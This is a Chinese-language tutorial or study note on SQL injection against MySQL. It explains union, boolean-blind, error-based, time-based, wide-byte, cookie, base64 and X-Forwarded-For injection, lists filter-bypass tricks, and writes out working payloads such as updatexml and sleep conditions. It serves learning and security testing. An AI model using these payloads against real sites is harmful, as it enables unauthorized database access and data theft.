一、sql注入
1、sql注入:就是对用户输入的数据没有判断其合法性,参数就带入到数据库中进行查询,这样攻击者就可以构造不同的sql语句来对数据库任意操作。
2、SQL注入的原理,SQL漏洞的产生要满足两个条件↓:
——传给后端的参数内容是用户可以控制的
——传入的参数拼接到SQL语句,带入数据库查询
比如传入的参数是1’
数据库执行的代码是:select * from users where id=1’
这不符合数据库语法,会报错!
当传入and 1=1,就执行select * 、from where id=1 and 1=1
两者都为真,就会返回id=1相同的结果
当传入and 1=2,就执行select * from where id=1 and 1=2
由于1=2不成立,返回假,就会返回和id=1不同的结果
这样就可以初步判断id参数存在SQL注入漏洞!!这样就可以进一步拼接其他SQL语句进行攻击了!
3、了解一下mysql中的相关知识↓
从mysql 5.0之后就存在着一个information_schema的数据库
这里需要记住三个表名:schemata(库名–对应的字段名是schema_name)、tables(库名、表名–对应的字段名是table_schema、table_name)、columns(列名–对应的字段名是column_name)
要知道select查询语句的用法和limit m,n的用法(m是开始的位置,从0开始,表示第一条记录,n是n条记录)
还要知道一些函数,如:database(),user(),version()等
mysql的注释符
4、union注入攻击(数据可以输出到页面上)
—首先先在url末尾加单引号看看,如果返回错误结果,再试试id=1 and 1=1,id=1 and 1=2,根据上面说的现象来判定有没有sql漏洞。
—接着,要确定字段数,即用order by 1-99语句来查询字段数,当查到某个数有着不同的结果时,那字段数就是这个数的上一位。
—在上面那条假设字段数确认时3,则union语句写成:union select 1,2,3
而且可以把id值写成:id=-1 union select 1,2,3(这是为了让服务端返回union语句的结果,得让前面一个语句报错)
—然后可以在1,2,3的位置上输入sql语句,这在之前都讲过了。
5、Boolean注入攻击
—首先根据分别在url末尾加单引号和and 1=1、and 1=2,会发现结果返回的只是yes和no(大概是这样,反正就是正确与否),而没有返回数据库中的数据,则判断此处不能用union注入,可以尝试用boolean注入,根据返回的结果来推测哪些SQL判断条件是成立的。
—然后开始判断数据库名的长度↓
’ and length(database())=1 --+(1处是自己决定的任意数字),这里可用burp来爆
—当长度知道后,就开始逐字符判断来获取数据库名↓
’ and substr(database(),1,1)=‘s’ --+
substr是截取,截取database()的值,从第一个字符开始,每次返回一个
当然也可以用ASCII码来查询↓
’ and ord(substr(database(),1,1)) = 115 --+
6、报错注入
当错误信息直接输出到页面上,可用利用报错注入来获取数据。这里用updatexml()
’ and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+
0x7e是~
’ and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1) --+
。。。获取表名列名数据和之前的都是一样的,插进去就行
7、时间注入攻击
时间盲注多与if(expr1,expr2,expr3)结合使用↓
’ and if(length(database())=2,sleep(5),1) --+
如果数据库名长度等于2,就休眠5秒,否则查询1
然后根据页面响应时间的长短来判断条件是否成立
8、宽字节注入
就是 %df’ 之前的sql注入讲过了,这里就不赘述
9、cookie注入
通过burp抓包修改cookie值,插入SQL语句来获取数据
10、base64注入
就是id参数要经过base64编码,其获取的步骤和union注入一样
11、XFF注入攻击
通过抓包修改X-Forwarded-for的值,这是可以伪造客户端IP,先设置成127.0.0.1,然后老套路,试试127.0.0.1’ 、127.0.0.1’ and 1=1# 、127.0.0.1’ and 1=2# 看这三个的返回结果来判断是否存在SQL漏洞。
接着使用order by 确定字段数,再尝试使用union注入–> X-Forwarded-for: 127.0.0.1’ union select 1,2,3,4 #
12、SQL注入绕过技术
—大小写绕过
—双写绕过
—编码绕过
—内联注释绕过 -->